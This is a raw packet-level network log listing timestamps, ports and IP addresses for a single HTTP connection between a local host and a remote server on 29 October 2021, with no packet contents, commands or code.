Oct 29, 2021 20:30:05.152162075 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.152173042 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152190924 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152194023 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.152210951 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152220011 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.152230024 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152240992 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152250051 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.152266979 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152285099 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.152707100 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152726889 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152744055 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152761936 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152780056 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152802944 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.152803898 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152817965 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.152842045 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.152869940 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.153090000 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.153112888 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.153136969 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.153156042 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.153175116 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.153182983 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.153199911 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.153203964 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.153218031 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.153248072 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.153472900 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.153492928 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.153517008 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.153528929 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.153549910 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.153588057 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.213562012 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.213579893 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.213592052 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.213601112 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.213613033 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.213640928 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.213656902 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.213658094 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.213669062 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.213752031 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.213905096 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.213979006 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.213999987 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.214001894 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.214010954 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.214056015 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.214154959 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.214175940 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.214195013 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.214207888 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.214211941 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.214240074 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.214673996 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.214688063 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.214705944 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.214714050 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.214773893 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.214782000 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.214790106 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.214808941 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.214819908 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.214838982 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.214874029 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.217073917 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217097998 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217118979 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217132092 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217163086 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217194080 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217222929 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217226982 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.217236042 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217248917 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.217256069 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217267990 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.217282057 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217299938 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217310905 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217329025 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217339039 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.217344046 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217358112 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217370033 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217380047 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.217381954 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217398882 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217412949 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.217417002 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217443943 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.217454910 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217473030 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217473984 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.217490911 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217504025 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217513084 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.217529058 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217546940 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217554092 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.217564106 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217572927 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217581034 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.217591047 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217603922 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217614889 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217621088 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.217622995 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.217647076 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.217690945 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.237086058 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.276747942 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.276844025 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.276926994 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.276948929 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.276948929 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.276969910 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.276998997 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277014971 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277024031 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.277035952 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277056932 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277066946 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.277085066 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277095079 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.277100086 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277120113 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.277196884 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277251959 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277276993 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277290106 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277297974 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.277332067 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.277334929 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277379036 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.277419090 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277458906 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277471066 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277512074 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.277940035 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277960062 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.277986050 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278003931 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278017044 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.278028965 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278043032 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.278048038 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278072119 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.278072119 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278094053 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278117895 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278136969 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.278137922 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278151035 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278170109 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.278207064 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.278405905 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278459072 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278485060 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278497934 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278507948 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.278522968 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278537035 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.278542995 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278563023 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278578997 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278600931 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.278630018 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.278738976 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278759956 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278799057 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278805017 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.278814077 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.278851032 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.279170990 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.279194117 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.279221058 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.279241085 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.279241085 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.279263020 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.279282093 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.279294014 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.279294968 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.279330969 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.279412031 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.279432058 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.279454947 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.279468060 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.279475927 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.279499054 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.279613018 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.279659033 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.279678106 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.279690027 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.279690981 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.279711962 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.341901064 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.341934919 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.341960907 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.341979980 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.341988087 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342014074 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342016935 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342044115 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342062950 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342075109 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342099905 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342156887 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342183113 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342220068 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342232943 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342247009 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342272043 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342288017 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342297077 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342318058 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342335939 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342344046 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342366934 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342384100 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342391014 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342417002 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342433929 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342444897 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342470884 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342490911 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342494965 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342514992 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342535973 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342542887 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342567921 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342592955 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342607975 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342617035 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342637062 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342643976 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342664003 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342685938 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342686892 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342713118 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342735052 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342739105 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342758894 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342778921 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342782974 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342813015 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342823982 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342837095 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342856884 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342876911 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342880964 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342909098 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342926979 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342941999 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342964888 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.342983007 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.342989922 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343014956 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343031883 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343033075 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.343056917 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343076944 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.343081951 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343107939 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343127012 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.343132019 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343158007 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343173981 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.343183041 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343200922 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343224049 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343233109 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.343250036 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343272924 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343275070 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.343295097 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343316078 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.343318939 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343344927 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343369961 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343373060 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.343389034 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.343415022 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.405045986 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405131102 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.405237913 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405266047 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405292034 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405318022 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405329943 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.405345917 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405369997 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405374050 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.405395031 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405414104 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.405421972 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405450106 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405461073 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.405471087 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405498028 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405512094 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.405527115 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405554056 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405566931 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.405575037 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405601978 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405613899 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.405673027 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405700922 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405716896 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.405726910 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405752897 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405776978 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.405790091 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405811071 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405829906 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.405894995 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405921936 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405936956 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.405949116 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405968904 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.405985117 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.406249046 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406277895 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406303883 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406313896 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:30:05.406330109 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:30:05.406352043 CEST	49859	80	192.168.2.3	45.141.84.21
